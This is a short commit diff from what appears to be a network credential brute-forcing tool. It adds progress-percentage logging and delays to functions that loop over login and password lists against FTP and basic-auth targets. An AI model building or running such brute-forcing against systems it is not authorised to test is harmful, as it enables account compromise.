Added FTP/BA progress info.

This commit is contained in:
cora32 2015-03-22 13:13:17 +03:00
parent c13d881b06
commit 4c8c4c557a
2 changed files with 12 additions and 2 deletions

View File

@ -36,6 +36,7 @@ lopaStr BA::_BABrute(const char *ip, const int port) {
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
int passCounter = 0;
strcpy(lps.login, "UNKNOWN");
@ -53,6 +54,10 @@ lopaStr BA::_BABrute(const char *ip, const int port) {
return lps;
};
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100);
}
}

View File

@ -19,6 +19,7 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) {
strcpy(lps.login, "UNKNOWN");
int res = 0;
int passCounter = 0;
for(int i = 0; i < MaxLogin; ++i)
{
@ -41,8 +42,12 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) {
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
return lps;
};
Sleep(70);
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100);
}
}